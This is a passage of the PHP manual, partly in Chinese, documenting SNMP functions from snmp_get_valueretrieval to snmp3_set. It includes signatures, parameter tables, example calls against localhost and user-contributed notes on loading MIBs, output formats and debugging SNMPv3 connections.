       $sysUpTime = ereg_replace("Timeticks: \([0-9]+\) ","",$sysUpTime);
   }
}


Return the method how the SNMP values will be returned

  • ? snmp_get_quick_print
  • snmp_read_mib ?
  • PHP Manual
  • SNMP 函数
  • Return the method how the SNMP values will be returned

snmp_get_valueretrieval

(PHP 4 >= 4.3.3, PHP 5, PHP 7, PHP 8)

snmp_get_valueretrieval — Return the method how the SNMP values will be returned

说明

snmp_get_valueretrieval(): int

参数

此函数没有参数。

返回值

OR-ed combitantion of constants ( SNMP_VALUE_LIBRARY or SNMP_VALUE_PLAIN ) with possible SNMP_VALUE_OBJECT set.

示例

Example #1 Using snmp_get_valueretrieval()

<?php
$ret = snmpget('localhost', 'public', 'IF-MIB::ifName.1');
if (snmp_get_valueretrieval() & SNMP_VALUE_OBJECT) {
echo $ret->value;
} else {
echo $ret;
}
?>

参见

  • snmp_set_valueretrieval() - Specify the method how the SNMP values will be returned
  • 预定义常量

User Contributed Notes

There are no user contributed notes for this page.


Reads and parses a MIB file into the active MIB tree

  • ? snmp_get_valueretrieval
  • snmp_set_enum_print ?
  • PHP Manual
  • SNMP 函数
  • Reads and parses a MIB file into the active MIB tree

snmp_read_mib

(PHP 5, PHP 7, PHP 8)

snmp_read_mib — Reads and parses a MIB file into the active MIB tree

说明

snmp_read_mib(string $filename): bool

This function is used to load additional, e.g. vendor specific, MIBs so that human readable OIDs like VENDOR-MIB::foo.1 instead of error prone numeric OIDs can be used.

The order in which the MIBs are loaded does matter as the underlying Net-SNMP library will print warnings if referenced objects cannot be resolved.

参数

filename

The filename of the MIB.

返回值

成功时返回 true， 或者在失败时返回 false。

示例

Example #1 Using snmp_read_mib()

<?php
print_r( snmprealwalk('localhost', 'public', '.1.3.6.1.2.1.2.3.4.5') );

snmp_read_mib('./FOO-BAR-MIB.txt');
print_r( snmprealwalk('localhost', 'public', 'FOO-BAR-MIB::someTable') );
?>

The above example is made up but the results would look like:

Array
(
    [iso.3.6.1.2.1.2.3.4.5.0] => Gauge32: 6
)
Array
(
    [FOO-BAR-MIB::someTable.0] => Gauge32: 6
)

User Contributed Notes

jdhall75 at yahoo dot com 04-Mar-2008 05:50
If you are trying to import mibs with dependencies on other mibs you will have to set the MIBDIRS environment variable.

Unix / Linux: export MIBDIRS=/home/<user>/MIBS:/usr/share/snmp/mibs
Window: Good luck! No really.  Try this url out.  It has everything that you need to know about setting environment vars in windows.

http://vlaurie.com/computers2/Articles/environment.htm
ptitgal at hotmail dot com 28-Feb-2006 02:37
Importing massive Mibs located in a directory
<?php
/******************** Loading Mibs **************/
 $mib_path='YourPath';
 if ($handle = opendir($mib_path))
 { echo "Directory handle: $handle <br>";
    echo "Files: <br>";
    while (false !== ($file = readdir($handle)))
    { if($file!='.')
       { if($file!='..')
          { echo "Read : ";
            echo "$mib_path.$file";
            if(snmp_read_mib($mib_path.'\\'.$file)) echo " Succesful <br>";
            else echo " Failed <br>";
         }
        }
    }
}
closedir($handle);

?>


Return all values that are enums with their enum value instead of the raw integer

  • ? snmp_read_mib
  • snmp_set_oid_numeric_print ?
  • PHP Manual
  • SNMP 函数
  • Return all values that are enums with their enum value instead of the raw integer

snmp_set_enum_print

(PHP 4 >= 4.3.0, PHP 5, PHP 7, PHP 8)

snmp_set_enum_print — Return all values that are enums with their enum value instead of the raw integer

说明

snmp_set_enum_print(bool $enable): true

This function toggles if snmpwalk/snmpget etc. should automatically lookup enum values in the MIB and return them together with their human readable string.

参数

enable

As the value is interpreted as boolean by the Net-SNMP library, it can only be "0" or "1".

返回值

总是返回 true。

更新日志

版本 | 说明
8.2.0 | 现在返回类型为 true；之前是 bool。

示例

Example #1 Using snmp_set_enum_print()

<?php
snmp_set_enum_print(0);
echo snmpget('localhost', 'public', 'IF-MIB::ifOperStatus.3') . "\n";
snmp_set_enum_print(1);
echo snmpget('localhost', 'public', 'IF-MIB::ifOperStatus.3') . "\n";
?>

The above would return

 INTEGER: up(1)
 INTEGER: 1

User Contributed Notes

dbeecher at tekops dot com 15-Jun-2004 12:23
This function is only available if using NET_SNMP.  It is NOT available if using UCD_SNMP.  Likewise UCD_SNMP supports some behaviors that NET_SNMP does not.  (found limitation by looking in php snmp.c file)


别名 snmp_set_oid_output_format

  • ? snmp_set_enum_print
  • snmp_set_oid_output_format ?
  • PHP Manual
  • SNMP 函数
  • 别名 snmp_set_oid_output_format

snmp_set_oid_numeric_print

(PHP 4 >= 4.3.0, PHP 5, PHP 7, PHP 8)

snmp_set_oid_numeric_print — 别名 snmp_set_oid_output_format()

说明

此函数是该函数的别名： snmp_set_oid_output_format().

参见

  • snmp_set_oid_output_format() - Set the OID output format

User Contributed Notes

There are no user contributed notes for this page.


Set the OID output format

  • ? snmp_set_oid_numeric_print
  • snmp_set_quick_print ?
  • PHP Manual
  • SNMP 函数
  • Set the OID output format

snmp_set_oid_output_format

(PHP 5 >= 5.2.0, PHP 7, PHP 8)

snmp_set_oid_output_format — Set the OID output format

说明

snmp_set_oid_output_format(int $format): true

snmp_set_oid_output_format() sets the output format to be full or numeric.

参数

format
OID .1.3.6.1.2.1.1.3.0 representation for various format values
SNMP_OID_OUTPUT_FULL | .iso.org.dod.internet.mgmt.mib-2.system.sysUpTime.sysUpTimeInstance
SNMP_OID_OUTPUT_NUMERIC | .1.3.6.1.2.1.1.3.0
SNMP_OID_OUTPUT_MODULE | DISMAN-EVENT-MIB::sysUpTimeInstance
SNMP_OID_OUTPUT_SUFFIX | sysUpTimeInstance
SNMP_OID_OUTPUT_UCD | system.sysUpTime.sysUpTimeInstance
SNMP_OID_OUTPUT_NONE | Undefined

返回值

总是返回 true。

更新日志

版本 | 说明
8.2.0 | 现在返回类型为 true；之前是 bool。

示例

Example #1 Using snmprealwalk()

<?php

snmp_read_mib("/usr/share/mibs/netsnmp/NET-SNMP-TC");

// default or SNMP_OID_OUTPUT_MODULE
print_r( snmprealwalk('localhost', 'public', 'RFC1213-MIB::sysObjectID') );

snmp_set_oid_output_format(SNMP_OID_OUTPUT_NUMERIC);
print_r( snmprealwalk('localhost', 'public', 'RFC1213-MIB::sysObjectID') );

snmp_set_oid_output_format(SNMP_OID_OUTPUT_FULL);
print_r( snmprealwalk('localhost', 'public', 'RFC1213-MIB::sysObjectID') );
?>

The above would output:

 Array
 (
    [RFC1213-MIB::sysObjectID.0] => OID: NET-SNMP-TC::linux
 )
 Array
 (
    [.1.3.6.1.2.1.1.2.0] => OID: .1.3.6.1.4.1.8072.3.2.10
 )
 Array
 (
    [.iso.org.dod.internet.mgmt.mib-2.system.sysObjectID.0] => OID: .iso.org.dod.internet.private.enterprises.netSnmp.netSnmpEnumerations.netSnmpAgentOIDs.linux
 )

User Contributed Notes

niarnrmd at yandex dot ru 12-May-2022 01:47
/******************** Loading Mibs **************/
$mib_path='/usr/share/snmp/mibs/ietf/';
if ($handle = opendir($mib_path))
{ echo "Directory handle: $handle <br>";
    echo "Files: <br>";
    while (false !== ($file = readdir($handle)))
    { if($file!='.')
    { if($file!='..')
    { echo "Read : ";
        echo "$mib_path"."$file";
        if(snmp_read_mib($mib_path.$file)) echo " Succesful <br>";
        else echo " Failed <br>";
    }
    }
    }
}
//load only one dir
ww at 9rivers dot com 30-Dec-2010 08:43
There seems to be more than SNMP_OID_OUTPUT_FULL and SNMP_OID_OUTPUT_NUMERIC.

For example, when I walk on BRIDGE-MIB::dot1dTpFdbPort without setting the output format and var_dump the result, I get output like:

  ["BRIDGE-MIB::dot1dTpFdbPort.'..F8.7'"]=>
  string(2) "52"

When I set it to NUMERIC, I get what I expected:

  [".1.3.6.1.2.1.17.4.3.1.2.244.206.70.56.24.55"]=>
  string(2) "52"

When I set it to FULL, I get even more (line-wrapped manually):

  [".iso.org.dod.internet.mgmt.mib-2 .dot1dBridge.dot1dTp .dot1dTpFdbTable .dot1dTpFdbEntry .dot1dTpFdbPort. '..F8.7'"]=>
  string(2) "52"


在 NET-SNMP 库中设置 enable 的值

  • ? snmp_set_oid_output_format
  • snmp_set_valueretrieval ?
  • PHP Manual
  • SNMP 函数
  • 在 NET-SNMP 库中设置 enable 的值

snmp_set_quick_print

(PHP 4, PHP 5, PHP 7, PHP 8)

snmp_set_quick_print — 在 NET-SNMP 库中设置 enable 的值

说明

snmp_set_quick_print(bool $enable): true

设置 NET-SNMP 库中 enable 的值。当设置为（1），SNMP 库将返回"quick printed"。这意味着仅会打印值。当 enable 未启用（默认），NET-SNMP 库输出额外信息，包含值的类型（比如 IpAddress 或 OID）。此外，如果 quick_print 未启用，库将为所有字符串额外打印出三个或更少字符的十六进制值。

默认情况下，NET-SNMP 库返回详细值，quick_print 仅用于返回值。

目前字符串仍会返回带有额外的引号，这将在以后的版本中得到纠正。

参数

enable

返回值

总是返回 true。

更新日志

版本 | 说明
8.2.0 | 现在返回类型为 true；之前是 bool。

示例

当使用返回的信息而不是显示它时，经常使用设置 quick_print。

Example #1 使用 snmp_set_quick_print()

<?php
snmp_set_quick_print(0);
$a = snmpget("127.0.0.1", "public", ".1.3.6.1.2.1.2.2.1.9.1");
echo "$a\n";
snmp_set_quick_print(1);
$a = snmpget("127.0.0.1", "public", ".1.3.6.1.2.1.2.2.1.9.1");
echo "$a\n";
?>

以上示例的输出类似于：

'Timeticks: (0) 0:00:00.00'
'0:00:00.00'

参见

  • snmp_get_quick_print() - 获取当前 NET-SNMP 库的 quick_print 设置的值

User Contributed Notes

There are no user contributed notes for this page.


Specify the method how the SNMP values will be returned

  • ? snmp_set_quick_print
  • snmp2_get ?
  • PHP Manual
  • SNMP 函数
  • Specify the method how the SNMP values will be returned

snmp_set_valueretrieval

(PHP 4 >= 4.3.3, PHP 5, PHP 7, PHP 8)

snmp_set_valueretrieval — Specify the method how the SNMP values will be returned

说明

snmp_set_valueretrieval(int $method): true

参数

method
types
SNMP_VALUE_LIBRARY | The return values will be as returned by the Net-SNMP library.
SNMP_VALUE_PLAIN | The return values will be the plain value without the SNMP type information.
SNMP_VALUE_OBJECT | The return values will be objects with the properties value and type, where the latter is one of the SNMP_OCTET_STR, SNMP_COUNTER etc. constants. The way value is returned is based on which one of constants SNMP_VALUE_LIBRARY, SNMP_VALUE_PLAIN is set.

返回值

总是返回 true。

更新日志

版本 | 说明
8.2.0 | 现在返回类型为 true；之前是 bool。

示例

Example #1 Using snmp_set_valueretrieval()

<?php
snmp_set_valueretrieval(SNMP_VALUE_LIBRARY);
$ret = snmpget('localhost', 'public', 'IF-MIB::ifName.1');
// $ret = "STRING: lo"

snmp_set_valueretrieval(SNMP_VALUE_PLAIN);
$ret = snmpget('localhost', 'public', 'IF-MIB::ifName.1');
// $ret = "lo";

snmp_set_valueretrieval(SNMP_VALUE_OBJECT);
$ret = snmpget('localhost', 'public', 'IF-MIB::ifName.1');
// stdClass Object
// (
// [type] => 4 <-- SNMP_OCTET_STR, see constants
// [value] => lo
// )

snmp_set_valueretrieval(SNMP_VALUE_OBJECT | SNMP_VALUE_PLAIN);
$ret = snmpget('localhost', 'public', 'IF-MIB::ifName.1');
// stdClass Object
// (
// [type] => 4 <-- SNMP_OCTET_STR, see constants
// [value] => lo
// )

snmp_set_valueretrieval(SNMP_VALUE_OBJECT | SNMP_VALUE_LIBRARY);
$ret = snmpget('localhost', 'public', 'IF-MIB::ifName.1');
// stdClass Object
// (
// [type] => 4 <-- SNMP_OCTET_STR, see constants
// [value] => STRING: lo
// )

?>

参见

  • snmp_get_valueretrieval() - Return the method how the SNMP values will be returned
  • 预定义常量

User Contributed Notes

doug dot manley at gmail dot com 20-Jan-2009 01:04
The default value (if this function is not called) is "SNMP_VALUE_LIBRARY", which seems to be SNMP's built-in way of printing things.

From "snmp.c":
<code>
static PHP_GINIT_FUNCTION(snmp)
{
    snmp_globals->valueretrieval = SNMP_VALUE_LIBRARY;
}
</code>

A mild description of these is:
SNMP_VALUE_LIBRARY: This is a string similar to:
"INTEGER: 42"

SNMP_VALUE_PLAIN: This is a string similar to:
"42"

SNMP_VALUE_OBJECT: This is a PHP object like:
object(
"type" => SNMP_INTEGER,
"value" => 42,
)
Here, "type" is one of the SNMP_* types that are listed under the "Predefined Constants" page.  In addition, types 128, 129, and 130 are error conditions.
Mikhail D 01-Aug-2007 05:26
Sample is swow Interface status.
(.iso.org.dod.internet.mgmt.mib-2.
interfaces.ifTable.ifEntry.ifAdminStatus)
Possible values for this request from MIB:
Enum(integer): up (1), down (2), testing (3)

<?php
//snmp_set_quick_print(0);  // is default
$strIP = "10.1.1.1"; $strComm = "public";
$strOID =  ".1.3.6.1.2.1.2.2.1.7.1";
echo "\n Default valueretrieval with snmp_set_quick_print(0)";
echo " snmp_get_valueretrieval = SNMP_VALUE_LIBRARY";
echo ", retrieved value " .  snmpget($strIP, $strComm, $strOID);
snmp_set_valueretrieval(SNMP_VALUE_LIBRARY);
echo "\n SNMP_VALUE_LIBRARY " . snmp_get_valueretrieval();
echo ", retrieved value " .   snmpget($strIP, $strComm, $strOID);
snmp_set_valueretrieval(SNMP_VALUE_PLAIN);
echo "\n SNMP_VALUE_PLAIN " . snmp_get_valueretrieval();
echo ", retrieved value " .  snmpget($strIP, $strComm, $strOID);

snmp_set_quick_print(1);
echo "\n Default valueretrieval snmp_set_quick_print(0) " ;
snmp_set_valueretrieval(SNMP_VALUE_LIBRARY);
echo "\n SNMP_VALUE_LIBRARY " . snmp_get_valueretrieval();
echo ", retrieved value " .   snmpget($strIP, $strComm, $strOID);
snmp_set_valueretrieval(SNMP_VALUE_PLAIN);
echo "\n SNMP_VALUE_PLAIN " . snmp_get_valueretrieval();
echo ", retrieved value " .  snmpget($strIP, $strComm, $strOID);
?>

Results:
 Default valueretrieval with snmp_set_quick_print(0)
     snmp_get_valueretrieval = SNMP_VALUE_LIBRARY,
 retrieved value up(1)
 SNMP_VALUE_LIBRARY 0, retrieved value up(1)
 SNMP_VALUE_PLAIN 1, retrieved value 1
 Default valueretrieval snmp_set_quick_print(0)
 SNMP_VALUE_LIBRARY 0, retrieved value up
 SNMP_VALUE_PLAIN 1, retrieved value 1
david at eder dot us 24-Jun-2004 12:16
It appears that the possible method constants for this function are:

SNMP_VALUE_LIBRARY
SNMP_VALUE_PLAIN
SNMP_VALUE_OBJECT

If you are harvesting data you probably want SNMP_VALUE_PLAIN.


Fetch an SNMP object

  • ? snmp_set_valueretrieval
  • snmp2_getnext ?
  • PHP Manual
  • SNMP 函数
  • Fetch an SNMP object

snmp2_get

(PHP 5 >= 5.2.0, PHP 7, PHP 8)

snmp2_get — Fetch an SNMP object

说明

snmp2_get(
string $hostname,
string $community,
array|string $object_id,
int $timeout = -1,
int $retries = -1
): mixed

The snmp2_get() function is used to read the value of an SNMP object specified by the object_id.

参数

hostname

The SNMP agent.

community

The read community.

object_id

The SNMP object.

timeout

The number of microseconds until the first timeout.

retries

The number of times to retry if timeouts occur.

返回值

Returns SNMP object value on success or false on error.

示例

Example #1 Using snmp2_get()

<?php
$syscontact = snmp2_get("127.0.0.1", "public", "system.SysContact.0");
?>

参见

  • snmp2_set() - Set the value of an SNMP object

User Contributed Notes

There are no user contributed notes for this page.


Fetch the SNMP object which follows the given object id

  • ? snmp2_get
  • snmp2_real_walk ?
  • PHP Manual
  • SNMP 函数
  • Fetch the SNMP object which follows the given object id

snmp2_getnext

(PHP >= 5.2.0, PHP 7, PHP 8)

snmp2_getnext — Fetch the SNMP object which follows the given object id

说明

snmp2_getnext(
string $hostname,
string $community,
array|string $object_id,
int $timeout = -1,
int $retries = -1
): mixed

The snmp2_get_next() function is used to read the value of the SNMP object that follows the specified object_id.

参数

hostname

The hostname of the SNMP agent (server).

community

The read community.

object_id

The SNMP object id which precedes the wanted one.

timeout

The number of microseconds until the first timeout.

retries

The number of times to retry if timeouts occur.

返回值

Returns SNMP object value on success or false on error. In case of an error, an E_WARNING message is shown.

示例

Example #1 Using snmp2_get_next()

<?php
$nameOfSecondInterface = snmp2_get_next('localhost', 'public', 'IF-MIB::ifName.1');
?>

参见

  • snmp2_get() - Fetch an SNMP object
  • snmp2_walk() - Fetch all the SNMP objects from an agent

User Contributed Notes

There are no user contributed notes for this page.


Return all objects including their respective object ID within the specified one

  • ? snmp2_getnext
  • snmp2_set ?
  • PHP Manual
  • SNMP 函数
  • Return all objects including their respective object ID within the specified one

snmp2_real_walk

(PHP >= 5.2.0, PHP 7, PHP 8)

snmp2_real_walk — Return all objects including their respective object ID within the specified one

说明

snmp2_real_walk(
string $hostname,
string $community,
array|string $object_id,
int $timeout = -1,
int $retries = -1
): array|false

The snmp2_real_walk() function is used to traverse over a number of SNMP objects starting from object_id and return not only their values but also their object ids.

参数

hostname

The hostname of the SNMP agent (server).

community

The read community.

object_id

The SNMP object id which precedes the wanted one.

timeout

The number of microseconds until the first timeout.

retries

The number of times to retry if timeouts occur.

返回值

Returns an associative array of the SNMP object ids and their values on success or false on error. In case of an error, an E_WARNING message is shown.

示例

Example #1 Using snmp2_real_walk()

<?php
print_r(snmp2_real_walk("localhost", "public", "IF-MIB::ifName"));
?>

The above will output something like:

    Array
      (
      [IF-MIB::ifName.1] => STRING: lo
      [IF-MIB::ifName.2] => STRING: eth0
      [IF-MIB::ifName.3] => STRING: eth2
      [IF-MIB::ifName.4] => STRING: sit0
      [IF-MIB::ifName.5] => STRING: sixxs
    )

参见

  • snmp2_walk() - Fetch all the SNMP objects from an agent

User Contributed Notes

mike dot mackintosh at angrystatic dot com 16-Sep-2011 11:24
Remember that the timeout includes trip time for transport, so setting it too low and sending it across the country will time out and return a 'No response from x.x.x.x'


Set the value of an SNMP object

  • ? snmp2_real_walk
  • snmp2_walk ?
  • PHP Manual
  • SNMP 函数
  • Set the value of an SNMP object

snmp2_set

(PHP >= 5.2.0, PHP 7, PHP 8)

snmp2_set — Set the value of an SNMP object

说明

snmp2_set(
string $hostname,
string $community,
array|string $object_id,
array|string $type,
array|string $value,
int $timeout = -1,
int $retries = -1
): bool

snmp2_set() is used to set the value of an SNMP object specified by the object_id.

参数

hostname

The hostname of the SNMP agent (server).

community

The write community.

object_id

The SNMP object id.

type

MIB 定义了各个对象 id 的类型。必须是下面列出的单个字符之一。

类型
= MIB类型
i | INTEGER
u | INTEGER
s | STRING
x | HEX STRING
d | DECIMAL STRING
n | NULLOBJ
o | OBJID
t | TIMETICKS
a | IPADDRESS
b | BITS

如果在编译 SNMP 库时定义了 OPAQUE_SPECIAL_TYPES，那么下列值是合法的：

types
U | unsigned int64
I | signed int64
F | float
D | double

这些值大都会使用与 ASN.1 相符的类型。's'，'x'，'d' 以及 'b' 都是指定一个八字节字符串值的方式。并且 'u' 无符号类型也可用于处理 Gauge32 值。

如果 MIB 文件是用 "snmp_read_mib" 或者通过在 libsnmp config 中指定而加载入 MIB 树时， '=' 可以被用作为所有对象的 type 参数，因为 type 可以被自动从 MIB 中读取。

注意有两种方式可以设定 BITS 类型的变量，例如 "SYNTAX BITS {telnet(0), ftp(1), http(2), icmp(3), snmp(4), ssh(5), https(6)}":

  • 使用 "b" 类型以及一个位数的列表。不推荐使用此方法，因为 GET 查询对同一个 OID 将会返回例如 0xF8。
  • 使用 "x" 类型以及一个十六进制数但是不需要通常的 "0x" 前缀。

更多细节见示例部分。

value

The new value.

timeout

The number of microseconds until the first timeout.

retries

The number of times to retry if timeouts occur.

返回值

成功时返回 true， 或者在失败时返回 false。

If the SNMP host rejects the data type, an E_WARNING message like "Warning: Error in packet. Reason: (badValue) The value given has the wrong type or length." is shown. If an unknown or invalid OID is specified the warning probably reads "Could not add variable".

示例

Example #1 Using snmp2_set()

<?php
snmp2_set("localhost", "public", "IF-MIB::ifAlias.3", "s", "foo");
?>

Example #2 Using snmp2_set() for setting BITS SNMP object id

<?php
snmp2_set("localhost", "public", 'FOO-MIB::bar.42', 'b', '0 1 2 3 4');
// or
snmp2_set("localhost", "public", 'FOO-MIB::bar.42', 'x', 'F0');
?>

参见

  • snmp2_get() - Fetch an SNMP object

User Contributed Notes

jhuebel at gmail dot com 15-Dec-2010 09:31
The "type" parameter must be one of the following, depending on the type of variable to set on the SNMP host:

i    INTEGER
u    unsigned INTEGER
t    TIMETICKS
a    IPADDRESS
o    OBJID
s    STRING
x    HEX STRING
d    DECIMAL STRING

If OPAQUE_SPECIAL_TYPES was defined while compiling the SNMP library, the following are also valid:

U    unsigned int64
I    signed int64
F    float
D    double


Fetch all the SNMP objects from an agent

  • ? snmp2_set
  • snmp3_get ?
  • PHP Manual
  • SNMP 函数
  • Fetch all the SNMP objects from an agent

snmp2_walk

(PHP >= 5.2.0, PHP 7, PHP 8)

snmp2_walk — Fetch all the SNMP objects from an agent

说明

snmp2_walk(
string $hostname,
string $community,
array|string $object_id,
int $timeout = -1,
int $retries = -1
): array|false

snmp2_walk() function is used to read all the values from an SNMP agent specified by the hostname.

参数

hostname

The SNMP agent (server).

community

The read community.

object_id

If null, object_id is taken as the root of the SNMP objects tree and all objects under that tree are returned as an array.

If object_id is specified, all the SNMP objects below that object_id are returned.

timeout

The number of microseconds until the first timeout.

retries

The number of times to retry if timeouts occur.

返回值

Returns an array of SNMP object values starting from the object_id as root or false on error.

示例

Example #1 snmp2_walk() Example

<?php
$a = snmp2_walk("127.0.0.1", "public", "");

foreach ($a as $val) {
echo "$val\n";
}

?>

Above function call would return all the SNMP objects from the SNMP agent running on localhost. One can step through the values with a loop

参见

  • snmp2_real_walk() - Return all objects including their respective object ID within the specified one

User Contributed Notes

Ypera123 at gmail dot com 16-Jan-2017 01:21
Honestly not that important but there's a spelling error in Example #1: "Snm2_pwalk"
Best to fix it so it doesn't confuse.
Adam 09-Apr-2012 03:26
After some testing, I have found that SNMPWalk is considerably slower than multiple SNMPGet.

I was aiming to retrieve 6 Objects from a MIB; the device being polled was attached via a 100mbps network link.
I decided to run SNMPGet within a loop to retrieve each Object from the specified OID's.
As these OID's were within the same tree, I then thought about using walk as this would consolidate the data into a single request. I then walked the tree to get the same result.

I subsequently testing the time it took to retrieve this information via microtime().
As a result, you can retrieve 1 walk containing 6 OID's within the same time as requesting 18 OIDs via get.

I hope this helps someone whom is looking to speed up their SNMP requests.


Fetch an SNMP object

  • ? snmp2_walk
  • snmp3_getnext ?
  • PHP Manual
  • SNMP 函数
  • Fetch an SNMP object

snmp3_get

(PHP 4, PHP 5, PHP 7, PHP 8)

snmp3_get — Fetch an SNMP object

说明

snmp3_get(
string $hostname,
string $security_name,
string $security_level,
string $auth_protocol,
string $auth_passphrase,
string $privacy_protocol,
string $privacy_passphrase,
array|string $object_id,
int $timeout = -1,
int $retries = -1
): mixed

The snmp3_get() function is used to read the value of an SNMP object specified by the object_id.

参数

hostname

The hostname of the SNMP agent (server).

security_name

the security name, usually some kind of username

security_level

the security level (noAuthNoPriv|authNoPriv|authPriv)

auth_protocol

the authentication protocol ("MD5", "SHA", "SHA256", or "SHA512")

auth_passphrase

the authentication pass phrase

privacy_protocol

the privacy protocol (DES or AES)

privacy_passphrase

the privacy pass phrase

object_id

The SNMP object id.

timeout

The number of microseconds until the first timeout.

retries

The number of times to retry if timeouts occur.

返回值

Returns SNMP object value on success or false on error.

更新日志

版本 | 说明
8.1.0 | The auth_protocol now accepts "SHA256" and "SHA512" when supported by libnetsnmp.

示例

Example #1 Using snmp3_get()

<?php
$nameOfSecondInterface = snmp3_get('localhost', 'james', 'authPriv', 'SHA', 'secret007', 'AES', 'secret007', 'IF-MIB::ifName.2');
?>

参见

  • snmp3_set() - Set the value of an SNMP object

User Contributed Notes

There are no user contributed notes for this page.


Fetch the SNMP object which follows the given object id

  • ? snmp3_get
  • snmp3_real_walk ?
  • PHP Manual
  • SNMP 函数
  • Fetch the SNMP object which follows the given object id

snmp3_getnext

(PHP 5, PHP 7, PHP 8)

snmp3_getnext — Fetch the SNMP object which follows the given object id

说明

snmp3_getnext(
string $hostname,
string $security_name,
string $security_level,
string $auth_protocol,
string $auth_passphrase,
string $privacy_protocol,
string $privacy_passphrase,
array|string $object_id,
int $timeout = -1,
int $retries = -1
): mixed

The snmp3_getnext() function is used to read the value of the SNMP object that follows the specified object_id.

参数

hostname

The hostname of the SNMP agent (server).

security_name

the security name, usually some kind of username

security_level

the security level (noAuthNoPriv|authNoPriv|authPriv)

auth_protocol

the authentication protocol ("MD5", "SHA", "SHA256", or "SHA512")

auth_passphrase

the authentication pass phrase

privacy_protocol

the privacy protocol (DES or AES)

privacy_passphrase

the privacy pass phrase

object_id

The SNMP object id.

timeout

The number of microseconds until the first timeout.

retries

The number of times to retry if timeouts occur.

返回值

Returns SNMP object value on success or false on error. In case of an error, an E_WARNING message is shown.

更新日志

版本 | 说明
8.1.0 | The auth_protocol now accepts "SHA256" and "SHA512" when supported by libnetsnmp.

示例

Example #1 Using snmp3_getnext()

<?php
$nameOfSecondInterface = snmp3_getnext('localhost', 'james', 'authPriv', 'SHA', 'secret007', 'AES', 'secret007', 'IF-MIB::ifName.1');
?>

参见

  • snmp3_get() - Fetch an SNMP object
  • snmp3_walk() - Fetch all the SNMP objects from an agent

User Contributed Notes

There are no user contributed notes for this page.


Return all objects including their respective object ID within the specified one

  • ? snmp3_getnext
  • snmp3_set ?
  • PHP Manual
  • SNMP 函数
  • Return all objects including their respective object ID within the specified one

snmp3_real_walk

(PHP 4, PHP 5, PHP 7, PHP 8)

snmp3_real_walk — Return all objects including their respective object ID within the specified one

说明

snmp3_real_walk(
string $hostname,
string $security_name,
string $security_level,
string $auth_protocol,
string $auth_passphrase,
string $privacy_protocol,
string $privacy_passphrase,
array|string $object_id,
int $timeout = -1,
int $retries = -1
): array|false

The snmp3_real_walk() function is used to traverse over a number of SNMP objects starting from object_id and return not only their values but also their object ids.

参数

hostname

The hostname of the SNMP agent (server).

security_name

the security name, usually some kind of username

security_level

the security level (noAuthNoPriv|authNoPriv|authPriv)

auth_protocol

the authentication protocol (MD5 or SHA)

auth_passphrase

the authentication pass phrase

privacy_protocol

the authentication protocol ("MD5", "SHA", "SHA256", or "SHA512")

privacy_passphrase

the privacy pass phrase

object_id

The SNMP object id.

timeout

The number of microseconds until the first timeout.

retries

The number of times to retry if timeouts occur.

返回值

Returns an associative array of the SNMP object ids and their values on success or false on error. In case of an error, an E_WARNING message is shown.

更新日志

版本 | 说明
8.1.0 | The auth_protocol now accepts "SHA256" and "SHA512" when supported by libnetsnmp.

示例

Example #1 Using snmp3_real_walk()

<?php
var_export(snmp3_real_walk('localhost', 'james', 'authPriv', 'SHA', 'secret007', 'AES', 'secret007', 'IF-MIB::ifName'));
?>

The above will output something like:

array (
  'IF-MIB::ifName.1' => 'STRING: lo',
  'IF-MIB::ifName.2' => 'STRING: eth0',
  'IF-MIB::ifName.3' => 'STRING: eth2',
  'IF-MIB::ifName.4' => 'STRING: sit0',
  'IF-MIB::ifName.5' => 'STRING: sixxs',
)

参见

  • snmpwalk() - 从代理获取所有 SNMP 对象

User Contributed Notes

Anonymous 26-Jul-2012 10:14
Use this function for debug snmp-connection.

<?php
error_reporting(8191);
date_default_timezone_set('Europe/Moscow');
ini_set('display_errors',1);

snmp_test_connection('12.34.56.78', 'guest', 'guest')

function snmp_test_connection($ip, $user, $pass){
    $a = array('noAuthNoPriv','authNoPriv','authPriv');
    $b = array('MD5','SHA');
    $c = array('DES','AES');

    $branch    = '.1.3.6.1.2.1.1.3'; // upTime

    foreach($a as $aPriv)
        foreach($b as $bProt)
            foreach($c as $cPrivProt){
                echo 'time = '.date('Y-m-d H:i:s').'<br/>';
                echo '<b>sec_level=</b>'.$aPriv.'<br/><b>auth_protocol=</b>'.$bProt.'<br/><b>priv_protocol=</b>'.$cPrivProt.'<br/>Request = ';
                var_dump(
                    snmp3_real_walk($ip, $user, $aPriv, $bProt, $pass, $cPrivProt, $pass, $branch)
                );
            }
}

?>


Set the value of an SNMP object

  • ? snmp3_real_walk
  • snmp3_walk ?
  • PHP Manual
  • SNMP 函数
  • Set the value of an SNMP object

snmp3_set

(PHP 4, PHP 5, PHP 7, PHP 8)

snmp3_set — Set the value of an SNMP object

说明

snmp3_set(
string $hostname,
string $security_name,
string $security_level,
string $auth_protocol,
string $auth_passphrase,
string $privacy_protocol,
string $privacy_passphrase,
array|string $object_id,
array|string $type,
array|string $value,
int $timeout = -1,
int $retries = -1
): bool

snmp3_set() is used to set the value of an SNMP object specified by the object_id.

Even if the security level does not use an auth or priv protocol/password valid values have to be specified.

参数

hostname

The hostname of the SNMP agent (server).

security_name

the security name, usually some kind of username

security_level

the security level (noAuthNoPriv|authNoPriv|authPriv)

auth_protocol

the authentication protocol (MD5 or SHA)

auth_passphrase

the authentication pass phrase

privacy_protocol

the privacy protocol (DES or AES)

privacy_passphrase

the privacy pass phrase

object_id

The SNMP object id.

type

MIB 定义了各个对象 id 的类型。必须是下面列出的单个字符之一。

类型
= MIB类型
i | INTEGER
u | INTEGER
s | STRING
x | HEX STRING
d | DECIMAL STRING
n | NULLOBJ
o | OBJID
t | TIMETICKS
a | IPADDRESS
b | BITS

如果在编译 SNMP 库时定义了 OPAQUE_SPECIAL_TYPES，那么下列值是合法的：

types
U | unsigned int64
I | signed int64
F | float
D | double

这些值大都会使用与 ASN.1 相符的类型。's'，'x'，'d' 以及 'b' 都是指定一个八字节字符串值的方式。并且 'u' 无符号类型也可用于处理 Gauge32 值。

如果 MIB 文件是用 "snmp_read_mib" 或者通过在 libsnmp config 中指定而加载入 MIB 树时， '=' 可以被用作为所有对象的 type 参数，因为 type 可以被自动从 MIB 中读取。

注意有两种方式可以设定 BITS 类型的变量，例如 "SYNTAX BITS {telnet(0), ftp(1), http(2), icmp(3), snmp(4), ssh(5), https(6)}":

  • 使用 "b" 类型以及一个位数的列表。不推荐使用此方法，因为 GET 查询对同一个 OID 将会返回例如 0xF8。
  • 使用 "x" 类型以及一个十六进制数但是不需要通常的 "0x" 前缀。

更多细节见示例部分。

value

The new value

timeout

